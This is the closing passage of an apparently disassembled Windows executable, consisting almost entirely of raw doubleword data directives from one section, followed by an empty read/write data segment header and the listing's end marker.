dd 4 dup(40004h), 0C1040004h, 40003h, 61h dup(40004h)
dd 0B5028F04h, 0E0034F02h, 0A302BF03h, 36A03h, 3E004h
dd 3F034F04h, 42004h, 3A304h, 2 dup(40004h), 0C1040004h
dd 0E003C103h, 40003h, 20040004h, 40004h, 2003E004h, 2 dup(40004h)
dd 20040004h, 3 dup(40004h), 42004h, 20040004h, 7 dup(40004h)
dd 3C104h, 1Fh dup(40004h), 43F04h, 40h dup(40004h), 3B056004h
dd 0F9047203h, 0F002D704h, 73032C04h, 2003C404h, 38026902h
dd 3803F406h, 4204CA05h, 3F053804h, 0CC044A04h, 44044404h
dd 8D05F003h, 4303C103h, 0B803DC04h, 0A5042004h, 1903E603h
dd 0B702CF03h, 0AD047A04h, 95043F04h, 0A203FF04h, 3603FF03h
dd 0FE038B04h, 10052A03h, 0DF034302h, 51203h, 1C03FF04h
dd 3B03E104h, 0AB041D04h, 20041E04h, 58040004h, 0E004E404h
dd 0C103C303h, 1F051303h, 7504EB04h, 2B04CC05h, 0E4049605h
dd 1D045D04h, 5A045D04h, 3D045D04h, 2047A04h, 3F043A04h
dd 0A303C104h, 0CB033504h, 3F030504h, 2E040104h, 6A042004h
dd 1E063D03h, 1F047904h, 2304B104h, 45D04h, 20040004h
dd 0A3042004h, 0E003FF03h, 5D03FF03h, 1F03E004h, 0C103C104h
dd 1F03FF03h, 20042004h, 40004h, 96040004h, 0E103E104h
dd 0E003E003h, 0E003C103h, 5D03E103h, 7A041C04h, 3F045D04h
dd 14042004h, 0EF03A305h, 0E303A304h, 2B042004h, 0B1040005h
dd 0AF042004h, 1F040004h, 5D040004h, 5D03C104h, 74040004h
dd 1F042004h, 0E0040004h, 0FE03E003h, 0FF040003h, 6A03C103h
dd 3F03E103h, 40004h, 4D03C104h, 20038604h, 35048B04h
dd 20040003h, 0C104AB04h, 20040003h, 0CB042004h, 0E0045D04h
dd 40003h, 0FE049604h, 0C103C103h, 0E203E003h, 5D041E03h
dd 0CB03C104h, 3F040003h, 0A3038704h, 40003h, 40004h, 0E0040004h
dd 20040003h, 40004h, 20042004h, 3E004h, 2003E004h, 5D03E004h
dd 40004h, 1042004h, 3E004h, 0A303FF04h, 0E003A903h, 0FF03E003h
dd 20042003h, 0E0040004h, 40003h, 2 dup(40004h), 96040004h
dd 20040004h, 3B043F04h, 36A04h, 2 dup(3E004h), 3C104h
dd 0E003E004h, 3FF03h, 0EC075704h, 0A003E005h, 0E0044405h
dd 68041E03h, 0E0042003h, 40003h, 3F040004h, 42004h, 2003C104h
dd 40004h, 45D04h, 53C04h, 40004h, 2 dup(20040004h), 40004h
dd 0E0040004h, 0E003E003h, 40003h, 40004h, 20040004h, 40004h
dd 3F040004h, 4 dup(40004h), 20040004h, 40004h, 0E0040004h
dd 40003h, 0Ah dup(40004h), 0E0040004h, 3E003h, 3 dup(40004h)
dd 56B04h, 2Dh dup(40004h), 6A03E004h, 40003h, 22h dup(40004h)
dd 0D049904h, 0AB037002h, 29D04h, 5D03E004h, 0E4040103h
dd 24803h, 40004h, 3F042004h, 45904h, 2 dup(42004h), 2 dup(40004h)
dd 0E0040004h, 40003h, 40004h, 3F040004h, 42004h, 2 dup(40004h)
dd 0FF040004h, 40003h, 95040004h, 40002h, 4 dup(40004h)
dd 42004h, 10h dup(40004h), 0C1040004h, 40003h, 8 dup(40004h)
dd 0E0040004h, 40003h, 23h dup(40004h), 0FC042004h, 13h dup(40004h)
dd 42004h, 0Fh dup(40004h), 50037D04h, 8603A403h, 14038A04h
dd 4502DE05h, 3902FE04h, 52038603h, 4A037406h, 0A9045903h
dd 0A3041204h, 9003E503h, 67045E04h, 0DE04DB03h, 0E2040102h
dd 0E203F803h, 0D4032B03h, 0A0044302h, 5703A904h, 4A704h
dd 35042004h, 0B1048E04h, 5103E004h, 103FC04h, 7004FC04h
dd 5D03E203h, 0E004F804h, 3F03FF03h, 5D03A304h, 2003E104h
dd 20041F04h, 5D041F04h, 0C2053804h, 5D03C303h, 0E003E004h
dd 39043D03h, 0A403E104h, 42003h, 0FF040004h, 0C503E003h
dd 3F03FF03h
dd 203E004h, 40004h, 20042004h, 7A03C504h, 3F03C204h, 5703FF04h
dd 0A3040004h, 20044D03h, 0E0040104h, 8A043F03h, 47A03h
dd 20042004h, 1042004h, 40004h, 3D03E104h, 3F042004h, 0E003A304h
dd 3F040003h, 20042004h, 5D040004h, 5D03C204h, 3F040004h
dd 5D042003h, 3F036A04h, 78038604h, 20042004h, 3C104h
dd 0A303E004h, 8603E003h, 0E003FF03h, 1043F03h, 0E0045704h
dd 40003h, 40004h, 0E0040004h, 3E003h, 0E0042004h, 0E0042003h
dd 0C303E003h, 3C103h, 0E003E004h, 3E003h, 40004h, 0E0040004h
dd 2040003h, 0E003E004h, 0C5042003h, 0E0040003h, 3F038603h
dd 20040004h, 0B1042004h, 45D04h, 40004h, 1045D04h, 2003E004h
dd 0E0040004h, 3F03E003h, 0C103A304h, 4040003h, 6A030D04h
dd 3E003h, 0E0040004h, 20040003h, 0E0040004h, 0E0040003h
dd 3E003h, 40004h, 0E0040004h, 5D03FF03h, 0E003E004h, 0FF040003h
dd 40003h, 41F04h, 42004h, 0C1040004h, 20040003h, 0E0040004h
dd 40003h, 0C3040004h, 0E0042003h, 5D03E003h, 40004h, 0E0040004h
dd 20032B03h, 0A3040004h, 40003h, 3F03A404h, 40004h, 43B04h
dd 3C045D04h, 5D047804h, 0FF041F04h, 0E0042003h, 40003h
dd 40004h, 20040004h, 40004h, 42004h, 40004h, 3E004h, 42004h
dd 3E004h, 0E0040004h, 40003h, 40004h, 20040004h, 6 dup(40004h)
dd 42004h, 9 dup(40004h), 20040004h, 9 dup(40004h), 3E004h
dd 2 dup(40004h), 20042004h, 14h dup(40004h), 0E0040004h
dd 40003h, 17h dup(40004h), 0E0040004h, 0E0040003h, 40003h
dd 21h dup(40004h), 39042D04h, 2003C103h, 5D041A04h, 0FF03E004h
dd 0C1040003h, 0E003C103h, 40003h, 42004h, 2 dup(40004h)
dd 2 dup(3E004h), 9 dup(40004h), 3E004h, 0E0040004h, 40003h
dd 68h dup(40004h), 0F045D04h, 4D038705h, 2E050505h, 0B8032806h
dd 0E8043D04h, 9304AF02h, 88034605h, 85030203h, 0F103CD04h
dd 6003CB03h, 0F305B104h, 0BF047202h, 0C1035D03h, 0AA03E303h
dd 9203E204h, 87031603h, 0A703BB04h, 603A704h, 14044D04h
dd 0EA045D04h, 90047A03h, 0C103C204h, 0E0055603h, 0C803E003h
dd 1F04DD03h, 42204h, 0C1040104h, 55043F03h, 3043F03h
dd 0A903C304h, 6C041A03h, 82032B03h, 0FF045603h, 0BF03D703h
dd 90041E04h, 1D044904h, 0C203DF04h, 0C1041F03h, 0C7045D03h
dd 20045D03h, 0FE03FF04h, 0C5040003h, 20040404h, 41E04h
dd 0A303C104h, 1040003h, 45D04h, 71042004h, 2F04CB04h
dd 104B104h, 72042004h, 3FF04h, 0E0040004h, 20042003h
dd 3E045D04h, 20040104h, 3F03E404h, 0E2040004h, 20045D03h
dd 0E0036A04h, 6A043D03h, 3F043F03h, 0E1041404h, 5D03B903h
dd 3B037204h, 3B03C104h, 5B045904h, 14038604h, 0FF03E105h
dd 3B045D03h, 0CB03E004h, 1E040104h, 3F040104h, 0FF041E04h
dd 0FF038603h, 2003E003h, 0E203E204h, 1040003h, 2003C504h
dd 0FF040004h, 103E003h, 0FF03C104h, 3C103h, 0C5040004h
dd 9603C203h, 2003E304h, 1040004h, 3E004h, 40004h, 0E3043F04h
dd 40103h, 20040004h, 0E0042004h, 40003h, 0E0040004h, 3D040003h
dd 5903A304h, 5303E003h, 4F03C303h, 20040003h, 2003E004h
dd 21040004h, 0C1042004h, 43F03h, 2 dup(40004h), 0E0042004h
dd 2 dup(0E0040003h), 5D040003h, 20042004h, 0E003E004h
dd 1F040003h, 3F03C104h, 40004h, 0E0040004h, 20043F03h
dd 0FF040004h, 3E003h, 3A904h, 0E103E004h, 42003h, 1F03A904h
dd 0C103E004h, 1040003h, 0E203A304h, 7A047A03h, 33F04h
dd 28067C04h, 7A049206h, 5A045A05h, 2003E004h, 0E003E004h
dd 7A040003h, 40004h, 1F040004h, 45D04h, 40004h, 45B04h
dd 1E040004h, 40004h, 3E004h, 40004h, 0E0040004h, 1043F03h
dd 3 dup(40004h), 0C1040004h, 40003h, 40004h, 20040004h
dd 3E004h, 6 dup(40004h), 42004h, 0FF03E004h, 20040003h
dd 0Dh dup(40004h), 0E0040004h, 40003h, 0Dh dup(40004h)
dd 20040004h, 2 dup(40004h), 0E0040004h, 40003h, 0E0040004h
dd 40003h, 3Bh dup(40004h), 0FD03D004h, 1E038602h, 0FF04CB04h
dd 3E041C03h, 6A042004h, 0E0040003h, 3E003h, 0E203C104h
dd 20042003h, 2 dup(40004h), 0E0040004h, 3E003h, 2 dup(40004h)
dd 0E003C104h, 20040003h, 3 dup(40004h), 1040004h, 2 dup(40004h)
dd 20040004h, 40004h, 42004h, 5 dup(40004h), 42004h, 0Ah dup(40004h)
dd 3E004h, 2Ah dup(40004h), 42004h, 27h dup(40004h), 20040004h
dd 2 dup(40004h), 5003ED04h, 0EB034303h, 0EE043803h, 6903DF04h
dd 98032D06h, 2C301h, 90036307h, 58027402h, 0F404B904h
dd 7D050E02h, 6205F905h, 3305C601h, 203E003h, 6B045004h
dd 95052D05h, 7E032E03h, 6031805h, 0E003FF04h, 3C04D503h
dd 0F04D503h, 7603C104h, 0A304DE04h, 0FE06D603h, 0C4033600h
dd 3F053704h, 88045D04h, 0CC03C403h, 8A045403h, 6403C103h
dd 0E104FC03h, 13048C03h, 0C02A404h, 0FA04F305h, 92034203h
dd 0FF04B104h, 3F03FF03h, 1703E204h, 0F0049603h, 0A2044803h
dd 7203E003h, 40204h, 7B043F04h, 9B019805h, 3C704h, 7A045D04h
dd 0FF03E004h, 0E005D403h, 83040103h, 0B047803h, 1048C03h
dd 1F040004h, 20040004h, 0E1045C04h, 5903FF03h, 0B1043504h
dd 7A03E104h, 32704h, 99043F04h, 53029903h, 0FF040004h
dd 35043B03h, 0DF040103h, 90034F03h, 78028D04h, 7A048203h
dd 5903E004h, 1D045D04h, 3702BF04h, 8E042004h, 0E0040003h
dd 20042003h, 1042004h, 0E0040004h, 3F043F03h, 21036A04h
dd 7A040004h, 76036A04h, 0E003DD03h, 34F03h, 0CB03E004h
dd 86042004h, 3FF03h, 0C1040004h, 0D040003h, 8602AA05h
dd 4A04CA03h, 3F03A903h, 3C504h, 20040004h, 25040004h
dd 5FC06h, 0E003E004h, 0C1042003h, 3E103h, 3F03E004h, 96043F04h
dd 0A4030404h, 5B042003h, 3502E703h, 2003FF03h, 40104h
dd 0C1040004h, 42003h, 0E0040004h, 0C1040003h, 0E003E003h
dd 103FF03h, 7A03C104h, 6A042004h, 0FA042003h, 20040003h
dd 1F043F04h, 2003E004h, 37A04h, 3F040004h, 20040004h
dd 20037004h, 76043504h, 42004h, 20040004h, 1E042004h
dd 42004h, 20033504h, 6A042004h, 38603h, 90038C04h, 0FF040103h
dd 2C003h, 5406B204h, 5B04C405h, 1D047106h, 6D042505h
dd 0E2042006h, 7A04D703h, 43F04h, 0D103E204h, 0E0045D05h
dd 20040003h, 51604h, 0C104B104h, 43F03h, 3FF04h, 20047A04h
dd 19043F04h, 3F040005h, 3 dup(40004h), 7E040004h, 40003h
dd 0E004FC04h, 40003h, 3F03FF04h, 42004h, 0E0042004h, 40003h
dd 0E0040004h, 0E0040003h, 3F040003h, 1C03E004h, 43F03h
dd 3F040004h, 7 dup(40004h), 1040004h, 2 dup(40004h), 86040004h
dd 40003h, 40204h, 40004h, 0E0040004h, 0E0040003h, 40003h
dd 0Dh dup(40004h), 0C103A304h, 40003h, 40004h, 0C1040004h
dd 40003h, 10h dup(40004h), 3C104h, 6 dup(40004h), 0E0040004h
dd 40003h
dd 6 dup(40004h), 3E004h, 40004h, 3E004h, 3 dup(40004h)
dd 3E004h, 0Ah dup(40004h), 3C104h, 0Ah dup(40004h), 7A02F404h
dd 102BC01h, 0C1052304h, 0E2033403h, 51040103h, 0A3034F02h
dd 8603C103h, 2031C03h, 40004h, 42004h, 4040004h, 40003h
dd 0C103E004h, 40003h, 40004h, 0FE036C04h, 20043F03h, 2 dup(40004h)
dd 20040004h, 19040004h, 40004h, 0A5040004h, 40003h, 42004h
dd 40004h, 42004h, 40004h, 0A3040004h, 40003h, 40004h
dd 3045D04h, 0Ah dup(40004h), 3A304h, 40004h, 96040004h
dd 4 dup(40004h), 0E0040004h, 0E0040003h, 40003h, 0E0040004h
dd 40003h, 4 dup(40004h), 3A304h, 2 dup(40004h), 3F040004h
dd 20040004h, 40004h, 42004h, 12h dup(40004h), 20040004h
dd 40004h, 42004h, 6 dup(40004h), 20040004h, 18h dup(40004h)
dd 42004h, 0Ah dup(40004h), 1F1Ch dup(0)
__u_____ ends
; Section 3. (virtual address 00021000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00021000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 421000h
align 2000h
_idata2 ends
end start